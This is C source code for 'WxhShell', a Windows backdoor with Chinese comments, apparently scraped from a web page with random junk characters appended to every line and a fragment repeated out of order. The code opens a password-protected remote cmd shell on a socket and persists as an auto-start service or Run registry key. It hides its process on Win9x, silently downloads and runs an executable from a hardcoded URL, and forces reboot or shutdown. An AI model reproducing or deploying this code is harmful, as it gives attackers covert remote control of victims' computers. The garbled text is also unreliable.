    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hf%_}Du /`  
    else { azX`oU,l  
    closesocket(wsh); :l"dYfl  
    ExitThread(0); {eR9 ;2!  
    } J=*K"8Qr  
    break; s.:r;%a  
    } ,I`_F,  
  // 获取shell J3B.-XJ+n  
  case 's': { HO5d%85  
    CmdShell(wsh); 4AHL3@x  
    closesocket(wsh); [Oy >R  
    ExitThread(0); ^ ulps**e  
    break; qq;b~ 3 kW  
  } H$tb;:  
  // 退出 |$e:*  
  case 'x': { 4ht\&2&:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rk,p!}FqL  
    CloseIt(wsh); -H\,2FO  
    break; !O{ z 3W  
    } ]XUSqai  
  // 离开 ?N>pZR  
  case 'q': { .pvxh|V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^>m^\MuZ  
    closesocket(wsh); |ym%| B  
    WSACleanup(); {?i)K X^  
    exit(1); ^~l  $&~  
    break; ce'TYkPM  
        } O,mip  
  } ]y LhJ_^  
  } C3S`}o.  
kG^dqqn6  
  // 提示信息 <TxC!{<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5AOfp2O  
} 0M8.U  
  } >Z\BfH  
`^##b6jH  
  return; 4;*f1_;f~  
} s'L?;:)dyB  
*{5>XH{ x  
// shell模块句柄 "^%Z'ou  
int CmdShell(SOCKET sock) 1q]c7"  
{ 3k' .(P|F  
STARTUPINFO si; }Bff,q  
ZeroMemory(&si,sizeof(si)); 8R xc&`_X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1S%}xsR0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9#rt:&xo0  
PROCESS_INFORMATION ProcessInfo; HFS+QwHW  
char cmdline[]="cmd"; Uix{"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |Td5l?  
  return 0; }.{}A(^YR  
} Nl*i5 io  
>;nS8{2o  
// 自身启动模式 cwynd=^nC  
int StartFromService(void) ~O4|KY  
{ j>'B [  
typedef struct Ze ? g  
{ ($WE=biZ&  
  DWORD ExitStatus; hI~SAd ,#A  
  DWORD PebBaseAddress; @vs@>CYdz  
  DWORD AffinityMask; TnE+[.Qu  
  DWORD BasePriority; _!AJiP3!)4  
  ULONG UniqueProcessId; oJY[{-qW  
  ULONG InheritedFromUniqueProcessId; o^ h(#%O  
}   PROCESS_BASIC_INFORMATION; ]d'^Xs  
qY(:8yC36  
PROCNTQSIP NtQueryInformationProcess; z $6JpG  
V(mn yI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QzthTX<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $']VQ4tZ  
dZ2`{@AYY  
  HANDLE             hProcess; -(;LQDG |  
  PROCESS_BASIC_INFORMATION pbi; # *,sa  
T;?+kC3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N z~" vi(t  
  if(NULL == hInst ) return 0; vJC f~'  
#`/QOTnm2c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )=H{5&e#u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >oqZ !V5[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H(qm>h$bU  
;f%|3-q1[  
  if (!NtQueryInformationProcess) return 0; WE.Tuo5L  
P s#>y&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _#'9kx|)  
  if(!hProcess) return 0; . U/k<v<)6  
lrys3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ew4 g'A:H  
+ld;k/  
  CloseHandle(hProcess); y1C/v:;  
V}9;eJRvw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gdi`x|0  
if(hProcess==NULL) return 0; s4,(26y  
_D-Riu>#J  
HMODULE hMod; }lfn0 %(@  
char procName[255]; E`xU m9F  
unsigned long cbNeeded; dAxp ,):&J  
7rIlTrG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7~vqf3ON4J  
B8~= RmWLl  
  CloseHandle(hProcess); )%mAZk-*;^  
A3s57.Z]|  
if(strstr(procName,"services")) return 1; // 以服务启动 |Fv?6qw+  
)N)ljA3]  
  return 0; // 注册表启动 v2J0u:#,  
} Q]\j>>  
\ X$)vK  
// 主模块 .,mPdVof  
int StartWxhshell(LPSTR lpCmdLine) Kbas-</Si  
{ h5-d;RKE  
  SOCKET wsl; K^H>~`C=  
BOOL val=TRUE; `C'}e  
  int port=0; &;v!oe   
  struct sockaddr_in door; KXe ka  
Qp!J:YV  
  if(wscfg.ws_autoins) Install(); x!?Z *v@I  
sXB+s  
port=atoi(lpCmdLine); Jsn <,4DO8  
m2b`/JW  
if(port<=0) port=wscfg.ws_port; `d*b]2  
jG8;]XP  
  WSADATA data; ]u=Ca#!'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y/P]5: =h  
;3 UvkN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RgGA$HN/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1nB@zBQu -  
  door.sin_family = AF_INET; 7) 0q--B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DHzkRCM  
  door.sin_port = htons(port); S=O$JP79  
JZ K7uB,X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v3^t/[e~:  
closesocket(wsl); k4R4YI"jV  
return 1; MPvWCPB  
} 76cEKHa<  
FpdHnu i1  
  if(listen(wsl,2) == INVALID_SOCKET) { b *9-}g:  
closesocket(wsl); R 3G@ G  
return 1; ('d{t:TsY  
} UUm |@  
  Wxhshell(wsl); @1.9PR$x  
  WSACleanup(); g7Z9F[d  
o<J5!  
return 0; hbnS~sva  
sR! +d:LJ4  
} D3.VXuKn6  
pqq?*\W&[v  
// 以NT服务方式启动 [; @):28"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]ymC3LV]  
{ cY~M4:vgT  
DWORD   status = 0; /e<5Np\X  
  DWORD   specificError = 0xfffffff; K;C_Z/<%  
8[HZ@@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TkT-$=i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +-P<CCvWz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v= 8VvT 8  
  serviceStatus.dwWin32ExitCode     = 0; pK"&QPv  
  serviceStatus.dwServiceSpecificExitCode = 0; H:Lt$  
  serviceStatus.dwCheckPoint       = 0; :rL?1"   
  serviceStatus.dwWaitHint       = 0; l0#4Fma  
h--45`cE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nNs .,J)  
  if (hServiceStatusHandle==0) return; eP?~- #  
;NG1{]|Z  
status = GetLastError(); V4\56 0  
  if (status!=NO_ERROR) Gc^t%Ue-H)  
{ x~Cz?ljbn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m9Il\PoTq  
    serviceStatus.dwCheckPoint       = 0; Y"oDFo,  
    serviceStatus.dwWaitHint       = 0; B~rU1Y)  
    serviceStatus.dwWin32ExitCode     = status; a7 =YG6[  
    serviceStatus.dwServiceSpecificExitCode = specificError; .5z&CJDiIi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U1kh-8  :  
    return; 19&)Yd1  
  } CPGL!:  
ki4Xp'IK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g@(4ujOT  
  serviceStatus.dwCheckPoint       = 0; ?V?<E=13  
  serviceStatus.dwWaitHint       = 0;  `~h0?g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l_b_-p  
} vlAy!:CV  
kkL(;H:%  
// 处理NT服务事件,比如:启动、停止 aPt{C3<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !^-OfqIHfV  
{ *F..ZS'$[  
switch(fdwControl) )WclV~  
{ w -M7opkq  
case SERVICE_CONTROL_STOP: g<a<{|  
  serviceStatus.dwWin32ExitCode = 0; G}q<{<+$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %VS 2M #f  
  serviceStatus.dwCheckPoint   = 0; tbS#^Y  
  serviceStatus.dwWaitHint     = 0; cPSti  
  { .=CH!{j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]6q*)q:`  
  } [lZ=s[n.  
  return; ^} tuP  
case SERVICE_CONTROL_PAUSE: IOS^|2:,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #:Xa'D+  
  break; x?gQ\ 0S<  
case SERVICE_CONTROL_CONTINUE: {H'X)n$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L@+Z)# V  
  break; 8,H~4Ce3  
case SERVICE_CONTROL_INTERROGATE: ys/vI/e\  
  break; @H6%G>K,  
}; i!tc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8ZFH}v@V1'  
} sc9]sIb  
8a?IC|~Pz  
// 标准应用程序主函数 AT-0}9z{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `{Hb2 }L5  
{ ZDfS0]0F  
<347 C{q  
// 获取操作系统版本 *0lt$F$~b  
OsIsNt=GetOsVer(); YT][\x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u!M& ;QL  
|K6nOX!i  
  // 从命令行安装 F~%|3a$Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); T:Bzz)2/  
\6Xn]S  
  // 下载执行文件 RZ<.\N (M  
if(wscfg.ws_downexe) { sFCf\y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MV9r5|3-  
  WinExec(wscfg.ws_filenam,SW_HIDE); |I(%7K  
} p0   
1T:)Zv'  
if(!OsIsNt) { I{Rz,D uAL  
// 如果时win9x,隐藏进程并且设置为注册表启动 FX cc1X/  
HideProc(); 0,bt^a  
StartWxhshell(lpCmdLine); &:-GI)[o  
} Sio1Q0  
else 9#Z zE/  
  if(StartFromService()) 5[1@`6j   
  // 以服务方式启动 g~eJ YS,  
  StartServiceCtrlDispatcher(DispatchTable); *13g <#$  
else nMLU-C!t  
  // 普通方式启动 K6ciqwUO  
  StartWxhshell(lpCmdLine); \MF3CK@/  
6^WiZ^~  
return 0; X #&(~1O  
} ux%&lff  
SlR7h$r'  
{_rZRyr  
^tQPJ  
=========================================== kx:c*3q.k  
/5&3WG&<u  
Cm99?K  
F@B  
;OQ#@|D  
B>ms`|q=l  
" *xEI Zx  
cb\jrbj6  
#include <stdio.h> |~7+/VvI+  
#include <string.h> +oE7~64LL  
#include <windows.h> U+(Z#b(Q  
#include <winsock2.h> LZgwIMd  
#include <winsvc.h> .`:oP&9r  
#include <urlmon.h> A9NOeE  
j0ci~6&b3_  
#pragma comment (lib, "Ws2_32.lib") x8\E~6`,  
#pragma comment (lib, "urlmon.lib") MtMvpHk  
SD)5?{6<  
#define MAX_USER   100 // 最大客户端连接数 >lUBt5gU  
#define BUF_SOCK   200 // sock buffer &*Q|d*CP  
#define KEY_BUFF   255 // 输入 buffer yg]suU<z]  
lCM6T;2ID  
#define REBOOT     0   // 重启 )pkhir06t  
#define SHUTDOWN   1   // 关机 c#]'#+aH  
Km|9Too  
#define DEF_PORT   5000 // 监听端口 UchALR^5  
n's2/9x  
#define REG_LEN     16   // 注册表键长度 AAIyr703cQ  
#define SVC_LEN     80   // NT服务名长度 }CB=c]p  
L7~+x^kw  
// 从dll定义API C:|q'"F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ">0/>>Ry  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1puEP *P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -o=P85 V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #u}v7{4  
@m !9"QhC  
// wxhshell配置信息 DTX/3EN  
struct WSCFG { m'G?0^Ft  
  int ws_port;         // 监听端口 y9l#;<b  
  char ws_passstr[REG_LEN]; // 口令 .{'Uvn  
  int ws_autoins;       // 安装标记, 1=yes 0=no <>&e/  
  char ws_regname[REG_LEN]; // 注册表键名 ZuF4N=;  
  char ws_svcname[REG_LEN]; // 服务名 rw}5nv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =]5DYRhX]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $S($97IU=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7?n* t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 89:?.'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u8{@PlS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j. ks UJ  
~PU1vbv9T  
}; iOX4Kl  
E :'  
// default Wxhshell configuration teQaHe#  
struct WSCFG wscfg={DEF_PORT, eMpEFY  
    "xuhuanlingzhe", hy!'Q>[`  
    1, q N[\J7Pz9  
    "Wxhshell", 6N)< o ;U  
    "Wxhshell", &kXGWp  
            "WxhShell Service", s= GOB"G  
    "Wrsky Windows CmdShell Service", 5CRc]Q #@  
    "Please Input Your Password: ", %z!d4J75  
  1, WacU@L $A  
  "http://www.wrsky.com/wxhshell.exe", ..Uw8u/  
  "Wxhshell.exe" ^J#*n;OQ3A  
    }; ]P}K3tN%]  
k^'d@1z;C  
// 消息定义模块 j]ln :?\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uV/HNzC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0^)8*O9$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P"~qio-  
char *msg_ws_ext="\n\rExit."; Z+`{JE#  
char *msg_ws_end="\n\rQuit."; j-C42Pfr  
char *msg_ws_boot="\n\rReboot..."; WO+?gu  
char *msg_ws_poff="\n\rShutdown..."; DO1N`7@o  
char *msg_ws_down="\n\rSave to "; cciAMQhA  
c=jI.=mi3  
char *msg_ws_err="\n\rErr!"; ELkOrV~a{:  
char *msg_ws_ok="\n\rOK!"; D<D k1  
;f ;*Q>!  
char ExeFile[MAX_PATH]; '7O{*=`oj  
int nUser = 0; ;+TF3av0zq  
HANDLE handles[MAX_USER]; tsSS31cv  
int OsIsNt; &\6`[# bT  
kb}]sj  
SERVICE_STATUS       serviceStatus; _?(hWC"0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jt10gVC  
;SlS!6.W-  
// 函数声明 13>3R+o  
int Install(void); asmW W8lz  
int Uninstall(void); Z.Y;[Y  
int DownloadFile(char *sURL, SOCKET wsh); C}8e<[} )  
int Boot(int flag); J:mu%N`  
void HideProc(void); C$..w80/1  
int GetOsVer(void); G4iLCcjY  
int Wxhshell(SOCKET wsl); Y=WN4w  
void TalkWithClient(void *cs); EB3o8  
int CmdShell(SOCKET sock); M;vlQ"Yl'  
int StartFromService(void); \Zz= 4 j  
int StartWxhshell(LPSTR lpCmdLine); SU#P.y18%  
x}8T[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,d [b"]Zy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y5A~iGp8E  
,C'w(af@}  
// 数据结构和表定义 W|-N>,G  
SERVICE_TABLE_ENTRY DispatchTable[] = W1vAK  
{ p`l[cVQ<  
{wscfg.ws_svcname, NTServiceMain}, \,cKt_{ u  
{NULL, NULL} ^s(X VVA  
}; 5dNf$a0E  
o|*|  
// 自我安装 PHiX:0zT  
int Install(void) Ag-?6v  
{ ,w/mk$v  
  char svExeFile[MAX_PATH]; 18w^7!F?~u  
  HKEY key; ao" ;5 m  
  strcpy(svExeFile,ExeFile); ,, H$>r_;  
FnQ_=b  
// 如果是win9x系统,修改注册表设为自启动 ':R3._tw\  
if(!OsIsNt) { ^B6i6]Pd=9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g$-D?~(Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V8U`%/`N  
  RegCloseKey(key); (h>X:!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ ew**@N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]gZ8b- 2O  
  RegCloseKey(key); ]{6yS9_tuI  
  return 0; _d=&9d#=\  
    } 0qd;'r<  
  } =wR]X*Pan  
} kcz#8K]~  
else { r5qx! >  
):\{n8~  
// 如果是NT以上系统,安装为系统服务 SnF[mN'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hy&Hl  
if (schSCManager!=0) 3w:Z4]J  
{ uj1E* 98m  
  SC_HANDLE schService = CreateService xjbyI_D  
  ( [oN> :  
  schSCManager, >=W#z  
  wscfg.ws_svcname, 7 KdM>1!  
  wscfg.ws_svcdisp, nh&<fnh  
  SERVICE_ALL_ACCESS, E+c3KqM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I~ ]mX;  
  SERVICE_AUTO_START, y=qo-v59'  
  SERVICE_ERROR_NORMAL, ~$ qJw?r  
  svExeFile, &@iF!D\u  
  NULL, }nY^T&?`  
  NULL, Oi[9b  
  NULL, WAmoKZw2  
  NULL, Z *<x  
  NULL JTB~nd>  
  ); I \%Lb z  
  if (schService!=0) g!Yh=kA'N  
  { hSKH#NS  
  CloseServiceHandle(schService); x)wt.T?eL  
  CloseServiceHandle(schSCManager); yGG\[I;7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,p`b Wm  
  strcat(svExeFile,wscfg.ws_svcname); c%Cae3;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n_&)VF#n(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t\bxd`,  
  RegCloseKey(key); NEou2y+}  
  return 0;  2:/MN2  
    } V >uW|6  
  } !=:MG#p  
  CloseServiceHandle(schSCManager); fQ_8{=<-&X  
} $,zM99  
} aq\TO?  
e27CbA{_w  
return 1; wR+`("2{r  
} 78J .~v/  
$5CY<,f  
// 自我卸载 AbI*/ |sY  
int Uninstall(void) G/3lX^Z>  
{ >8;%F<o2  
  HKEY key; {ZEXlNPww  
zYF&Dv/u/  
if(!OsIsNt) { 5qfKV&D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (ai-n,y  
  RegDeleteValue(key,wscfg.ws_regname); ?F!J@Xn5  
  RegCloseKey(key); J*&=J6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s^R2jueR  
  RegDeleteValue(key,wscfg.ws_regname); Q R$sIu@%  
  RegCloseKey(key); \0T*msYQ  
  return 0; Wc;D{p?Lb  
  } f> [;|r@K  
} HFWm}vA:  
} rWpfAE)!  
else { VD`2lGdF  
L=!kDU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2#M:J gWV  
if (schSCManager!=0) 8B+^vF   
{ G6mM6(Sr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?'m5)Z{  
  if (schService!=0) ?ML<o>OKg  
  { slO9H6<  
  if(DeleteService(schService)!=0) { i1@gHk  
  CloseServiceHandle(schService); Jd6Q9~z#  
  CloseServiceHandle(schSCManager); U zHhU*nW  
  return 0; b=\3N3OX  
  } qA/ 3uA!z  
  CloseServiceHandle(schService); <%uZwk>#  
  } ~6i mkv^ F  
  CloseServiceHandle(schSCManager); `9{C/qB  
} H1i4_T  
} 2czL 1Ci  
C)}LV  
return 1; !O_^Rn+<2  
} xi=uXxl  
_!1c.[ \T  
// 从指定url下载文件 @|A&\a-"J  
int DownloadFile(char *sURL, SOCKET wsh) z4:09!o_  
{ o;I86dI6C  
  HRESULT hr; g c=|< (  
char seps[]= "/"; IFoN<<7/2$  
char *token; |noTIAI  
char *file; v~QZO4[ '  
char myURL[MAX_PATH]; Z i&X ,K~  
char myFILE[MAX_PATH]; Q 5TyS8  
Nx z ,/d  
strcpy(myURL,sURL); b?L43t,  
  token=strtok(myURL,seps); aKr4E3`  
  while(token!=NULL) SYLkC [0 k  
  { G=Bj1ss.  
    file=token;  PMZzzZ  
  token=strtok(NULL,seps); v3#47F)  
  } ?IO/zkeXg  
tvCTC ey  
GetCurrentDirectory(MAX_PATH,myFILE); |<icx8hbr  
strcat(myFILE, "\\"); WLFzLW=PD  
strcat(myFILE, file); >g=:01z9  
  send(wsh,myFILE,strlen(myFILE),0); vbJMgdHFR  
send(wsh,"...",3,0); @cNI|T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J1MnkxJmpQ  
  if(hr==S_OK) R_DQtLI  
return 0; f89<o#bm7h  
else K*RRbtb  
return 1; U?yXTMD  
zaPR>:r0  
} 6Z:|"AwC2  
Q&{5.}L  
// 系统电源模块 y+h=x4t  
int Boot(int flag) :D-vE7  
{ wu'60po  
  HANDLE hToken; B)*%d7=x  
  TOKEN_PRIVILEGES tkp; V^5 t~)#46  
yB[ LO( i  
  if(OsIsNt) { Rv o<ISp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VQ`O;n6/`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  $nWmoe)  
    tkp.PrivilegeCount = 1; vi|ASA{V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jL>r*=K)%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7G2N&v>  
if(flag==REBOOT) { IC~D?c0H:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $ E6uA}s  
  return 0; hw2Hn   
} j+seJg<_  
else { UzXbaQQ2g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cFQa~  
  return 0; X_2I4Jz]6  
} so?1lG  
  } iqYc&}k,  
  else { v-qS 'N 4  
if(flag==REBOOT) { QB>e(j%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4mg&H0 !  
  return 0; (reD  
} |n/id(R+  
else { #'oKkrl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zwS'AN'A  
  return 0; u@Lu.t!],  
} uOx$@1v,  
} AS;{{^mM(  
5`Z#m:+u  
return 1; |xOOdy6 )~  
} LV0{~g(!%  
usi p>y  
// win9x进程隐藏模块 xPv&(XZR  
void HideProc(void) ),eiJblH  
{ ]]4E)j8  
+tF,E^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q ^?{6}sy  
  if ( hKernel != NULL ) gg9W7%t/  
  { ORTM [cL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WUWQcJj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 60Z)AQs;+J  
    FreeLibrary(hKernel); F=H=[pSe  
  } rX[R`,`>Z[  
\<%a`IA!*  
return; sQvEUqy9  
} \l~h#1|%;s  
sAxn ; `  
// 获取操作系统版本 (g\'Zw5bk  
int GetOsVer(void) 4^5s\ f B  
{ P\R3/g  
  OSVERSIONINFO winfo; ,LvJ'N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E^!%m8--  
  GetVersionEx(&winfo); M;OYh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q b'ka+X  
  return 1; .B@;ch,  
  else Tm `CA0@  
  return 0; 7iJl W&W  
} -mXEbsm  
|@ + x9|'W  
// 客户端句柄模块 K;K tx>Z/  
int Wxhshell(SOCKET wsl) R[z6 c )  
{ 4%p vw;r  
  SOCKET wsh; "o1/gV  
  struct sockaddr_in client; BB-`=X~:m  
  DWORD myID; :V [vE h  
)}R0'QGd  
  while(nUser<MAX_USER) 0y(d|;':  
{ C1_NGOvT  
  int nSize=sizeof(client); SWu=n1J.?H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3^Ex_jeB  
  if(wsh==INVALID_SOCKET) return 1; zr,jaR;  
e&:fzO<~I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QeK~A@|F&  
if(handles[nUser]==0) 7 9Iz,_  
  closesocket(wsh); S7V;sR"V2  
else C][`Dk\D{  
  nUser++; 7HzKjR=B  
  } A;kB"Tx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :%Bo)0a9  
T+\BX$w/4e  
  return 0; N%0Z> G  
} #2pgh?  
.w0?  
// 关闭 socket QF>H>=Za=  
void CloseIt(SOCKET wsh) -Iq#h)Q*  
{ E\ QSU88^  
closesocket(wsh); A2B&X}K|U  
nUser--; j*P@]&e7d  
ExitThread(0); 3vy5JTCz~  
} @sVBG']p  
pgI@[zp7  
// 客户端请求句柄 fx*Swv%r  
void TalkWithClient(void *cs) <4Ak$ E %"  
{ f6DPah#  
5ewQjwW0  
  SOCKET wsh=(SOCKET)cs; ?&?y-&.5-  
  char pwd[SVC_LEN]; HG Pbx$!  
  char cmd[KEY_BUFF]; L)Kn8  
char chr[1]; Bq'hk<ns[  
int i,j; L,R9jMx?_  
iJ~p X\FKO  
  while (nUser < MAX_USER) { _ yU e2Gd  
&vLZj  
if(wscfg.ws_passstr) { R(csJ4F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y*4\K%e(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *rA!`e*  
  //ZeroMemory(pwd,KEY_BUFF); m0 `wmM  
      i=0; 0O[q6!&]  
  while(i<SVC_LEN) {  ;v.l<AOE  
ZM<1;!i  
  // 设置超时 1y>P<[  
  fd_set FdRead; :kgwKuhL  
  struct timeval TimeOut; 2f4*r^  
  FD_ZERO(&FdRead); Qg3 -%i/@  
  FD_SET(wsh,&FdRead); ] Qj65]  
  TimeOut.tv_sec=8; 4H{L>e  
  TimeOut.tv_usec=0; M[N|HsI8?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K2NnA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WWD\EDnS  
eGZId v1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sjztT<{Q^-  
  pwd=chr[0]; o6'`W2P  
  if(chr[0]==0xd || chr[0]==0xa) { %2V_%KA  
  pwd=0; GX(p7ZgB2  
  break; x_#yH3kJ  
  } <TDgv%eg0  
  i++; Jzh_`jW0l  
    } D_'Zucq  
e -x{7  
  // 如果是非法用户,关闭 socket yh} V u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {DAwkJvb]  
}  8DyE  
>a Q; 8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %$S.4#G2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GN(PH/fO9  
.,-t}5(VSq  
while(1) { XVE(p3-  
$7,n8ddRy  
  ZeroMemory(cmd,KEY_BUFF); . [*6W.X  
i $#bg^  
      // 自动支持客户端 telnet标准   P 3);R>j  
  j=0; zPZy#7/A  
  while(j<KEY_BUFF) { t4 $cMf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^?w6  
  cmd[j]=chr[0]; lfb]xu]O  
  if(chr[0]==0xa || chr[0]==0xd) { JoIffI?{(D  
  cmd[j]=0; -&%#R_RV  
  break; cl)%qIXj}H  
  } q=Q5s?sQc  
  j++;   /zM  
    } nQb{/ TqC'  
r>A, 7{  
  // 下载文件 XoL9:s(m~  
  if(strstr(cmd,"http://")) { n*hHqZl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /mF%uI>:  
  if(DownloadFile(cmd,wsh)) 67%o83\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T^%$  
  else #|xK> ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); szGp<xv_p  
  } [C.Pzo  
  else { h1q?kA  
c"H*9u:  
